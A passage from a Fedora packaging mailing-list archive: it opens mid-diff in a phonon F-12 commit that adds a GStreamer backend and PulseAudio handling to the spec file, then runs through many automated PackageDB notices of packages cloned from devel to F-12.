+                    m_backend->logMessage("AudioOutput using pulse audio sink");
+                    m_audioSink = "pulsesink";
+                }
+                else if (sink) {
+                    gst_object_unref(sink);
+                    sink = 0;
+                }
+            }
+
 #ifdef USE_ALSASINK2
             if (!sink) {
                 sink = gst_element_factory_make ("_k_alsasink", NULL);
@@ -306,8 +320,12 @@ void DeviceManager::updateDeviceList()
     QList<QByteArray> list;
 
     if (audioSink) {
-        list = GstHelper::extractProperties(audioSink, "device");
-        list.prepend("default");
+        if (m_audioSink == "pulsesink") {
+            list.append("PulseAudio");
+        } else {
+            list = GstHelper::extractProperties(audioSink, "device");
+            list.prepend("default");
+        }
 
         for (int i = 0 ; i < list.size() ; ++i) {
             QByteArray gstId = list.at(i);


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	27 Feb 2009 11:07:08 -0000	1.11
+++ .cvsignore	3 Oct 2009 15:34:43 -0000	1.12
@@ -1,3 +1,8 @@
 gstreamer-logo.svg
-phonon-4.3.0.tar.bz2
 phonon-4.3.1.tar.bz2
+hi128-phonon-gstreamer.png
+hi16-phonon-gstreamer.png
+hi22-phonon-gstreamer.png
+hi32-phonon-gstreamer.png
+hi48-phonon-gstreamer.png
+hi64-phonon-gstreamer.png


Index: phonon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/F-12/phonon.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- phonon.spec	26 Jul 2009 17:55:47 -0000	1.44
+++ phonon.spec	3 Oct 2009 15:34:43 -0000	1.45
@@ -1,57 +1,108 @@
 
-%define phonon_version_major 4.3
-
 Summary: Multimedia framework api
 Name:    phonon
 Version: 4.3.1
-Release: 12%{?dist}
-Group:   Applications/Multimedia
+Release: 101%{?dist}
+Group:   System Environment/Libraries
 License: LGPLv2+
 URL:     http://phonon.kde.org/
 Source0: ftp://ftp.kde.org/pub/kde/stable/4.2.1/phonon-%{version}.tar.bz2
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-# build only the xine backend
-Patch0: phonon-4.3.1-xineonly.patch
-# bump PulseAudio's priority in the xine backend
-Patch1: phonon-4.2.96-xine-pulseaudio.patch
-# make InitialPreference=9
-Patch2: phonon-4.3.1-xine-InitialPreference.patch
+Source10: http://gstreamer.freedesktop.org/data/images/artwork/gstreamer-logo.svg
+Source11: hi16-phonon-gstreamer.png
+Source12: hi22-phonon-gstreamer.png
+Source13: hi32-phonon-gstreamer.png
+Source14: hi48-phonon-gstreamer.png
+Source15: hi64-phonon-gstreamer.png
+Source16: hi128-phonon-gstreamer.png
+
+# Make PulseAudio the default when listed by the backend.
+# Note that this currently only works for the Xine backend. Device selection in
+# the GStreamer backend is weird: there is a setting for "sink" which cannot be
+# set through systemsettings, and listed devices are only those supported by the
+# "sink". So it never lists "PulseAudio" as a supported device, you have to pick
+# it as a "sink", and then the device setting is ignored entirely.
+Patch0:  phonon-4.2.96-pulseaudio.patch
+Patch1:  phonon-4.2.96-xine-pulseaudio.patch
+Patch2:  qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch
+
+## define to build phonon-backend-xine only
+#define xine_only 1
+Patch10: phonon-4.3.1-xineonly.patch
 
 ## Upstream patches
+Patch100: phonon-4.3.2-gstreamer-utf8-url.patch
+Patch101: phonon-4.3.2-gstreamer-volumefader.patch
 # fix for non-ascii filenames in xine backend
-Patch100: phonon-4.3.2-kdebug#172242.patch
+Patch102: phonon-4.3.2-kdebug#172242.patch
 # escape '#' too
-Patch101: phonon-4.3.2-kdebug#172242-2.patch
+Patch103: phonon-4.3.2-kdebug#172242-2.patch
 
 BuildRequires: automoc4 >= 0.9.86
 BuildRequires: cmake >= 2.6.0
 BuildRequires: glib2-devel
+BuildRequires: gstreamer-devel
+BuildRequires: gstreamer-plugins-base-devel
 BuildRequires: kde-filesystem
 BuildRequires: libxcb-devel
 BuildRequires: libxml2-devel
 BuildRequires: pkgconfig
-BuildRequires: qt4-devel >= 4.5.1
+BuildRequires: qt4-devel >= 4.4.0
 BuildRequires: xine-lib-devel
 
+Requires: phonon-backend%{?_isa} >= %{version}
+
+## can switch to Requires instead of Conflicts once bootstrapping is done
+#Requires: qt4%{?_isa} >= %{_qt4_version}
+Conflicts: qt4 < 4.5.2-21
+
 %description
 %{summary}.
 
+%package devel
+Summary: Developer files for %{name}
+Group:   Development/Libraries
+Requires: %{name} = %{version}-%{release}
+Requires: qt4-devel
+Requires: pkgconfig
+%description devel
+%{summary}.
+
 %package backend-xine
-Summary: Xine phonon backend
+Summary: xine phonon backend
 Group:   Applications/Multimedia
+Requires: %{name} = %{version}-%{release}
 Provides: phonon-backend%{?_isa} = %{version}-%{release}
-Requires: phonon%{?_isa} >= %{phonon_version_major} 
 %description backend-xine
 %{summary}.
 
+%package backend-gstreamer
+Summary: Gstreamer phonon backend
+Group:   Applications/Multimedia
+Epoch:   2
+Requires: %{name} = %{version}-%{release}
+Provides: phonon-backend%{?_isa} = %{version}-%{release}
+Obsoletes: %{name}-backend-gst < 4.2.0-4
+Provides:  %{name}-backend-gst = %{version}-%{release}
+%description backend-gstreamer
+%{summary}.
+
 
 %prep
 %setup -q -n phonon-%{version}%{?alphatag}
-%patch0 -p1 -b .xineonly
+%patch0 -p1 -b .pulseaudio
 %patch1 -p1 -b .xine-pulseaudio
-%patch100 -p1 -b .xine_nonascii
-%patch101 -p1 -b .xine_nonascii-2
+%patch2 -p4 -b .gst-pulseaudio
+%patch100 -p0 -b .gstreamer-utf8-url
+%patch101 -p0 -b .gstreamer-volumefader
+%patch102 -p1 -b .xine_nonascii
+%patch103 -p1 -b .xine_nonascii-2
+
+# not working?  use -C .../xine hack below instead for now  -- Rex
+%if 0%{?xine_only}
+%patch10 -p1 -b .xineonly
+%endif
 
 
 %build
@@ -60,39 +111,90 @@ pushd %{_target_platform}
 %{cmake} ..
 popd
 
-make %{?_smp_mflags} -C %{_target_platform}
+make %{?_smp_mflags} -C %{_target_platform}%{?xine_only:/xine}
 
 
 %install
 rm -rf %{buildroot}
 
-make install/fast DESTDIR=%{buildroot} -C %{_target_platform}
+make install/fast DESTDIR=%{buildroot} -C %{_target_platform}%{?xine_only:/xine}
 
 # move the oxygen-only phonon-xine icons to hicolor
 mv %{buildroot}%{_datadir}/icons/oxygen \
    %{buildroot}%{_datadir}/icons/hicolor
 
+%if ! 0%{?xine_only}
+# gstreamer icons
+install -D -m 0644 %{SOURCE10} %{buildroot}%{_datadir}/icons/hicolor/scalable/apps/phonon-gstreamer.svg
+install -D -m 0644 %{SOURCE11} %{buildroot}%{_datadir}/icons/hicolor/16x16/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE12} %{buildroot}%{_datadir}/icons/hicolor/22x22/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE13} %{buildroot}%{_datadir}/icons/hicolor/32x32/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE14} %{buildroot}%{_datadir}/icons/hicolor/48x48/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE15} %{buildroot}%{_datadir}/icons/hicolor/64x64/apps/phonon-gstreamer.png
+install -D -m 0644 %{SOURCE16} %{buildroot}%{_datadir}/icons/hicolor/128x128/apps/phonon-gstreamer.png
+%endif
+
 
 %clean
 rm -rf %{buildroot}
 
 
-%post backend-xine
-touch --no-create %{_datadir}/icons/hicolor &> /dev/null ||:
+%if ! 0%{?xine_only}
+%post -p /sbin/ldconfig
 
-%posttrans backend-xine
-gtk-update-icon-cache %{_datadir}/icons/hicolor &> /dev/null ||:
+%postun -p /sbin/ldconfig
+
+%post backend-gstreamer
+touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+
+%postun backend-gstreamer
+if [ $1 -eq 0 ] ; then
+  touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+  gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+fi
+
+%posttrans backend-gstreamer
+gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+%endif
+
+%post backend-xine
+touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
 
 %postun backend-xine
 if [ $1 -eq 0 ] ; then
-  touch --no-create %{_datadir}/icons/hicolor &> /dev/null ||:
-  gtk-update-icon-cache %{_datadir}/icons/hicolor &> /dev/null ||:
+  touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
+  gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
 fi
 
+%posttrans backend-xine
+gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null ||:
 
-%files backend-xine
+%if ! 0%{?xine_only}
+%files
 %defattr(-,root,root,-)
 %doc COPYING.LIB
+%{_libdir}/libphonon*.so.4*
+%{_datadir}/dbus-1/interfaces/org.kde.Phonon.AudioOutput.xml
+# kde4-specific dirs
+%dir %{_kde4_libdir}/kde4/plugins/phonon_backend/
+%dir %{_kde4_datadir}/kde4/services/phononbackends/
+
+%files devel
+%defattr(-,root,root,-)
+%dir %{_includedir}/KDE
+%{_includedir}/KDE/Phonon/
+%{_includedir}/phonon/
+%{_libdir}/pkgconfig/phonon.pc
+%{_libdir}/libphonon*.so
+
+%files backend-gstreamer
+%defattr(-,root,root,-)
+%{_kde4_libdir}/kde4/plugins/phonon_backend/phonon_gstreamer.so
+%{_kde4_datadir}/kde4/services/phononbackends/gstreamer.desktop
+%{_datadir}/icons/hicolor/*/apps/phonon-gstreamer.*
+%endif
+
+%files backend-xine
 %defattr(-,root,root,-)
 %{_kde4_libdir}/kde4/plugins/phonon_backend/phonon_xine.so
 %{_kde4_datadir}/kde4/services/phononbackends/xine.desktop
@@ -100,6 +202,11 @@ fi
 
 
 %changelog
+* Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-101
+- revert to kde/phonon
+- inflate to Release: 101
+- -backend-gstreamer: Epoch: 2
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.3.1-12
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	27 Feb 2009 11:07:08 -0000	1.13
+++ sources	3 Oct 2009 15:34:43 -0000	1.14
@@ -1,2 +1,8 @@
 8e3924f417fea67f72b2105faed2119c  gstreamer-logo.svg
 767cb68052c108e95f293f30acdef3fb  phonon-4.3.1.tar.bz2
+60de9d7e1cddd019f09fd036f0e5413a  hi128-phonon-gstreamer.png
+7ca265e0cf75b3b4c81e1490d3dba3be  hi16-phonon-gstreamer.png
+0a9f69d901aded140d4fed969c22e14f  hi22-phonon-gstreamer.png
+12db12c009b722a6dc141f78feb7e330  hi32-phonon-gstreamer.png
+86c34a1b81d44980b1381f94ed6b7a23  hi48-phonon-gstreamer.png
+153505c71ec021b0a3bd4b74f2492e93  hi64-phonon-gstreamer.png



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:24 +0000
Subject: [pkgdb] SDL_sound F-12 cloned from devel
Message-ID: <20091003160424.3545C10F939@bastion2.fedora.phx.redhat.com>

toshio cloned SDL_sound F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SDL_sound



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:26 +0000
Subject: [pkgdb] SDL_ttf F-12 cloned from devel
Message-ID: <20091003160426.3709C10F8FA@bastion2.fedora.phx.redhat.com>

toshio cloned SDL_ttf F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SDL_ttf



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:31 +0000
Subject: [pkgdb] SIMVoleon F-12 cloned from devel
Message-ID: <20091003160431.98B9D10F93F@bastion2.fedora.phx.redhat.com>

toshio cloned SIMVoleon F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SIMVoleon



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:37 +0000
Subject: [pkgdb] SevenZip F-12 cloned from devel
Message-ID: <20091003160437.238B010F942@bastion2.fedora.phx.redhat.com>

toshio cloned SevenZip F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SevenZip



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:44 +0000
Subject: [pkgdb] Sprog F-12 cloned from devel
Message-ID: <20091003160444.893B510F90B@bastion2.fedora.phx.redhat.com>

toshio cloned Sprog F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Sprog



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:46 +0000
Subject: [pkgdb] SteGUI F-12 cloned from devel
Message-ID: <20091003160446.848E710F9A1@bastion2.fedora.phx.redhat.com>

toshio cloned SteGUI F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SteGUI



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:48 +0000
Subject: [pkgdb] TVAnytimeAPI F-12 cloned from devel
Message-ID: <20091003160448.8CF1810F949@bastion2.fedora.phx.redhat.com>

toshio cloned TVAnytimeAPI F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/TVAnytimeAPI



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:51 +0000
Subject: [pkgdb] TeXmacs F-12 cloned from devel
Message-ID: <20091003160452.0B54110F9A3@bastion2.fedora.phx.redhat.com>

toshio cloned TeXmacs F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/TeXmacs



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:59 +0000
Subject: [pkgdb] Thunar F-12 cloned from devel
Message-ID: <20091003160459.CFDE810F94F@bastion2.fedora.phx.redhat.com>

toshio cloned Thunar F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Thunar



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:02 +0000
Subject: [pkgdb] TnL F-12 cloned from devel
Message-ID: <20091003160502.B3E4410F950@bastion2.fedora.phx.redhat.com>

toshio cloned TnL F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/TnL



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:07 +0000
Subject: [pkgdb] TurboGears F-12 cloned from devel
Message-ID: <20091003160507.495DF10F954@bastion2.fedora.phx.redhat.com>

toshio cloned TurboGears F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/TurboGears



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:09 +0000
Subject: [pkgdb] UnihanDb F-12 cloned from devel
Message-ID: <20091003160509.0858910F957@bastion2.fedora.phx.redhat.com>

toshio cloned UnihanDb F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/UnihanDb



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:10 +0000
Subject: [pkgdb] WebShell F-12 cloned from devel
Message-ID: <20091003160510.D8AF410F902@bastion2.fedora.phx.redhat.com>

toshio cloned WebShell F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/WebShell



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:14 +0000
Subject: [pkgdb] WritRecogn F-12 cloned from devel
Message-ID: <20091003160514.C707710F95D@bastion2.fedora.phx.redhat.com>

toshio cloned WritRecogn F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/WritRecogn



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:16 +0000
Subject: [pkgdb] Xaw3d F-12 cloned from devel
Message-ID: <20091003160516.A9B3310F9A4@bastion2.fedora.phx.redhat.com>

toshio cloned Xaw3d F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Xaw3d



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:20 +0000
Subject: [pkgdb] a2ps F-12 cloned from devel
Message-ID: <20091003160520.D4B1B10F9A5@bastion2.fedora.phx.redhat.com>

toshio cloned a2ps F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/a2ps



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:32 +0000
Subject: [pkgdb] abcMIDI F-12 cloned from devel
Message-ID: <20091003160532.8748710F964@bastion2.fedora.phx.redhat.com>

toshio cloned abcMIDI F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/abcMIDI



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:35 +0000
Subject: [pkgdb] abcde F-12 cloned from devel
Message-ID: <20091003160535.8F97610F8E0@bastion2.fedora.phx.redhat.com>

toshio cloned abcde F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/abcde



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:37 +0000
Subject: [pkgdb] abcm2ps F-12 cloned from devel
Message-ID: <20091003160537.1DCB710F907@bastion2.fedora.phx.redhat.com>

toshio cloned abcm2ps F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/abcm2ps



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:38 +0000
Subject: [pkgdb] abe F-12 cloned from devel
Message-ID: <20091003160538.E7AAF10F8CA@bastion2.fedora.phx.redhat.com>

toshio cloned abe F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/abe



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:40 +0000
Subject: [pkgdb] abgraph F-12 cloned from devel
Message-ID: <20091003160540.AD45710F967@bastion2.fedora.phx.redhat.com>

toshio cloned abgraph F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/abgraph



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:42 +0000
Subject: [pkgdb] abicheck F-12 cloned from devel
Message-ID: <20091003160542.38D1810F8BC@bastion2.fedora.phx.redhat.com>

toshio cloned abicheck F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/abicheck



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:44 +0000
Subject: [pkgdb] abiword F-12 cloned from devel
Message-ID: <20091003160544.60F1510F969@bastion2.fedora.phx.redhat.com>

toshio cloned abiword F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/abiword



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:46 +0000
Subject: [pkgdb] abook F-12 cloned from devel
Message-ID: <20091003160546.8FAD710F8CF@bastion2.fedora.phx.redhat.com>

toshio cloned abook F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/abook



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:48 +0000
Subject: [pkgdb] aboot F-12 cloned from devel
Message-ID: <20091003160548.9F71310F9A7@bastion2.fedora.phx.redhat.com>

toshio cloned aboot F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aboot



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:53 +0000
Subject: [pkgdb] abuse F-12 cloned from devel
Message-ID: <20091003160553.731C810F96D@bastion2.fedora.phx.redhat.com>

toshio cloned abuse F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/abuse



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:57 +0000
Subject: [pkgdb] accrete F-12 cloned from devel
Message-ID: <20091003160557.54DA910F9AA@bastion2.fedora.phx.redhat.com>

toshio cloned accrete F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/accrete



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:01 +0000
Subject: [pkgdb] acheck F-12 cloned from devel
Message-ID: <20091003160601.38B4710F9AD@bastion2.fedora.phx.redhat.com>

toshio cloned acheck F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/acheck



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:02 +0000
Subject: [pkgdb] acheck-rules F-12 cloned from devel
Message-ID: <20091003160602.F1EBE10F974@bastion2.fedora.phx.redhat.com>

toshio cloned acheck-rules F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/acheck-rules



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:06 +0000
Subject: [pkgdb] ack F-12 cloned from devel
Message-ID: <20091003160606.AC06A10F917@bastion2.fedora.phx.redhat.com>

toshio cloned ack F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ack



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:09 +0000
Subject: [pkgdb] acl F-12 cloned from devel
Message-ID: <20091003160609.E2A8310F9B2@bastion2.fedora.phx.redhat.com>

toshio cloned acl F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/acl



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:11 +0000
Subject: [pkgdb] acpi F-12 cloned from devel
Message-ID: <20091003160611.D0A9A10F8C2@bastion2.fedora.phx.redhat.com>

toshio cloned acpi F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/acpi



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:22 +0000
Subject: [pkgdb] adanaxisgpl F-12 cloned from devel
Message-ID: <20091003160622.D7C9A10F920@bastion2.fedora.phx.redhat.com>

toshio cloned adanaxisgpl F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/adanaxisgpl



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:24 +0000
Subject: [pkgdb] adaptx F-12 cloned from devel
Message-ID: <20091003160624.CC35810F979@bastion2.fedora.phx.redhat.com>

toshio cloned adaptx F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/adaptx



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:27 +0000
Subject: [pkgdb] adime F-12 cloned from devel
Message-ID: <20091003160627.C836410F9B5@bastion2.fedora.phx.redhat.com>

toshio cloned adime F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/adime



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:32 +0000
Subject: [pkgdb] adns F-12 cloned from devel
Message-ID: <20091003160632.7C35010F97F@bastion2.fedora.phx.redhat.com>

toshio cloned adns F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/adns



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:35 +0000
Subject: [pkgdb] adonthell F-12 cloned from devel
Message-ID: <20091003160635.2640010F9BA@bastion2.fedora.phx.redhat.com>

toshio cloned adonthell F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/adonthell



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:36 +0000
Subject: [pkgdb] adplay F-12 cloned from devel
Message-ID: <20091003160636.C43A210F980@bastion2.fedora.phx.redhat.com>

toshio cloned adplay F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/adplay



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:39 +0000
Subject: [pkgdb] adplug F-12 cloned from devel
Message-ID: <20091003160639.8809510F983@bastion2.fedora.phx.redhat.com>

toshio cloned adplug F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/adplug



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:45 +0000
Subject: [pkgdb] afpfs-ng F-12 cloned from devel
Message-ID: <20091003160645.D28DD10F9BC@bastion2.fedora.phx.redhat.com>

toshio cloned afpfs-ng F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/afpfs-ng



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:56 +0000
Subject: [pkgdb] agg F-12 cloned from devel
Message-ID: <20091003160656.B696F10F92B@bastion2.fedora.phx.redhat.com>

toshio cloned agg F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/agg



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:58 +0000
Subject: [pkgdb] agistudio F-12 cloned from devel
Message-ID: <20091003160658.89B8810F8C6@bastion2.fedora.phx.redhat.com>

toshio cloned agistudio F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/agistudio



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:00 +0000
Subject: [pkgdb] aiccu F-12 cloned from devel
Message-ID: <20091003160700.2B2F110F9C2@bastion2.fedora.phx.redhat.com>

toshio cloned aiccu F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aiccu



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:05 +0000
Subject: [pkgdb] aide F-12 cloned from devel
Message-ID: <20091003160705.E654910F9C6@bastion2.fedora.phx.redhat.com>

toshio cloned aide F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aide



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:12 +0000
Subject: [pkgdb] aircrack-ng F-12 cloned from devel
Message-ID: <20091003160712.4339310F98E@bastion2.fedora.phx.redhat.com>

toshio cloned aircrack-ng F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aircrack-ng



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:10 +0000
Subject: [pkgdb] aimage F-12 cloned from devel
Message-ID: <20091003160710.9193D10F930@bastion2.fedora.phx.redhat.com>

toshio cloned aimage F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aimage



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:15 2009
